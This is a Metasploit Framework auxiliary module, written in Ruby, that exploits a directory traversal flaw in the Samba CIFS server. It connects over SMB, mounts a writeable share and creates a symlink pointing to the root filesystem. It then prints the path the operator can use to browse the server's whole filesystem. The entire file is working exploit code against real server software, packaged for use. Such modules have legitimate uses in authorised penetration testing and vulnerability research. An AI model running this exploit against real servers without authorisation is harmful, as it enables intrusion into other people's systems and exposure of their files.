70 lines
2.0 KiB
Ruby
70 lines
2.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::SMB
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include Msf::Auxiliary::Report
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# Aliases for common classes
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SIMPLE = Rex::Proto::SMB::SimpleClient
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XCEPT = Rex::Proto::SMB::Exceptions
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CONST = Rex::Proto::SMB::Constants
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def initialize
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super(
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'Name' => 'Samba Symlink Directory Traversal',
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'Description' => %Q{
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This module exploits a directory traversal flaw in the Samba
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CIFS server. To exploit this flaw, a writeable share must be specified.
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The newly created directory will link to the root filesystem.
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},
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'Author' =>
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[
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'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
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'hdm' # metasploit module
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],
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'References' =>
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[
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['OSVDB', '62145'],
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['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
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OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
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], self.class)
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end
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def run
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print_status("Connecting to the server...")
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connect()
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smb_login()
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print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
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self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
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print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
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self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
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print_status("Now access the following share to browse the root filesystem:")
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print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
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print_line("")
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end
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end
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